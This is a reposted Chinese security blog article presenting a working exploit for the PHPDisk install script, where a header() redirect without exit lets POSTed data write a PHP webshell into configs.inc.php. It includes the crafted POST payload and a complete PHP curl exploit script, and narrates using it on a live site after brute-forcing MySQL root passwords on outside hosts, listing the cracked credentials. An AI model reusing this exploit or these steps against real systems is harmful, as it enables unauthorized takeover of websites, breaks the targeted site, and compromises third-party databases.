phpdisk header bypass & getShell exp.doc

admin 2021年4月3日19:35:08评论52 views字数 330阅读1分6秒阅读模式

Phpdisk header bypass & getShell

Author:Yaseng    Team:CodePlay  

1:代码审计

PHPDISK网盘系统是国内使用广泛PHP和MySQL构建的网络硬盘(文件存储管理)系统,笔者对其源码分析中,发现了一个很有意思的东东…..

 

图一

图一为 install下面的index.php,程序安装文件。看上起很正常的代码,当系统安装时,生成一个锁定文件,再次执行install时判断 ,这里他用了一个 Header,而木有exit 。然而php中 header 跳转之后代码还是向后执行,可以直接 post 数据过去,再来看这个文件 。

 

图二

安装流程全部靠$step,而 step  又可以靠 POST 控制。继续找可以利用之处

  $str = " '$dbhost',".LF.LF;
  $str .= "t'dbname' => '$dbname',".LF.LF;
  $str .= "t'dbuser' => '$dbuser',".LF.LF;
  $str .= "t'dbpasswd' => '$dbpasswd',".LF.LF;
  $str .= "t'pconnect' => 0,".LF.LF;
  $str .= "t'tpf' => 'pd_',".LF.LF;
  $str .= "t'charset' => '$charset',".LF.LF;
  $str .= "t'debug' => '0',".LF.LF;
  $str .= ");".LF.LF;
  $str .= "define('ADMINCP','admincp');".LF;
  $str .= "?>".LF;
$fp = fopen($config_file,'w');
  if (!$fp) {
    exit("Can not open file $config_file .");
  }
  if(is_writable($config_file)){
    if(@fwrite($fp,$str)){
      $msg .= "{$config_file} ".__('write_success')."";
    }else{

吧 post 数据写入配置文件 configs.inc.php,可以利用之,继续目测之。

function stripslashes_array(&$array) {
  if (is_array($array)) {
    foreach ($array as $k => $v) {
      $array[$k] = stripslashes_array($v);
    }
  } else if (is_string($array)) {
    $array = stripslashes($array);
  }
  return $array;
}

if (@get_magic_quotes_gpc()) {
  $_GET = stripslashes_array($_GET);
  $_POST = stripslashes_array($_POST);
}

哈哈,为了安装方便,竟然去掉了gpc,这下可以直接写入木马了。

2:漏洞利用  & getShell  方法

查找写入配置的地方

$_l = mysql_connect($dbhost,$dbuser,$dbpasswd) or die(__('could_not_connect'). mysql_error());
if(!mysql_select_db($dbname,$_l)){
	mysql_query("create database `{$dbname}`;") or die(__('invalid_query') . mysql_error());
}
@mysql_close($_l);

验证是否可以连接,错误的数据库信息直接退出哦了,看来不能乱写了,只能在 dbpasswd  上面下功夫。

首先 yy一下   system 下的 configs.inc.php  文件

'dbpasswd' => '',);?>',

就可以直接 菜刀连接之

由于没有万恶的 gpc   直接 POST一个'dbpasswd' = '',);?>'

也就是此时的密码为 : ',);?>

此时需要post的 数据包为 :

$pass='',);?>';
$data="step=5&dbhost=localhost&dbuser=yaseng&dbname=yaseng&dbpasswd=".$pass;

当数据库信息正确时,成功写入一句话木马.

图四

成功写入  shell

3:getShell  exp  编写

结束yy,我们来用php 中强大的 curl  exp,前文我们已然构造出post 传送的数据。然后在根据特征检测是否 getShell ,具体代码如下 (完整exp 见附件)。

$site = $argv[1];  //传入的 网站  
$url= $site."/install/index.php";
$pass='',);?>';
$data="step=5&dbhost=98.126.4.252&dbuser=root&dbname=mysql&dbpasswd=".$pass;   //exploit  data
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_POST,true);
curl_setopt($ch,CURLOPT_POSTFIELDS,$data); //发送 post 数据
$result=curl_exec($ch);
curl_close($ch);
$shell="http://".$site.'/system/configs.inc.php';   
if(strpos(@file_get_contents($shell),'pconnect')){   //检测是否成功

 	echo  "Hi  guy  I  get the  Shell:".$shell;
}else{
echo   "Shit !!!   This   Site:$site  Can  not   get  Shell";
}

4:实战演示

其实这种拿shell 方式是极其缺德,破坏configs.inc.php,导致全站崩溃,俺找了个比较新的站点(目测没什么人 )  主啊  原谅我吧  ……   实战一番  .

找外连数据库啊.菜刀里面找了x个shell皆不能外联,干!向朋友要了个 mysql root 爆破工具,爆破了一批root。

进入数据库成功... 98.126.4.252 root password
进入数据库成功... 98.126.4.253 root password
进入数据库成功... 98.126.4.250 root password
进入数据库成功... 98.126.4.251 root passwd
进入数据库成功... 98.126.4.254 root password
进入数据库成功... 98.126.4.252 root root123456
进入数据库成功... 98.126.4.253 root root123456

随便找了个,本地 adminer(一个单文件php MySQL管理客户端) 进去改密码,此时发送的data为(如果不行  请大家自行更换可外链的 mysql)

$pass='',);?>';
$data="step=5&dbhost=98.126.4.252&dbuser=root&dbname=mysql&dbpasswd=".$pass;

Php命令行下执行    php  phpdisk.php   www.av.com

Done,成功写入,菜刀连接。

Ko !!!

5:总结

本文是Header直接跳转导致绕过的典型文章,php函数使用强大而简单,同时我们不得不谨慎使用如header,preg_replace,eval 之类的危险函数,以免被非法利用。

CodePlay 代码审计交流群 209547366

转载 请注意来源

附件:phpdisk header bypass & getShell exp

文章来源于lcx.cc:phpdisk header bypass & getShell exp.doc

相关推荐: 钻网游漏洞 编外挂获利千万

晨报讯(首席记者 王彬)编写外挂钻网游的漏洞,从中换取游戏道具,获利高达上千万元,海淀法院将择日开庭审理涉嫌破坏计算机信息系统罪的陈某等人一案。 检察机关指控,《梦幻西游》系网之易信息技术(北京)有限公司出品的一款网络游戏。2011年5月,被告人陈某发现该网络…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月3日19:35:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   phpdisk header bypass & getShell exp.dochttps://cn-sec.com/archives/323718.html

发表评论

匿名网友 填写信息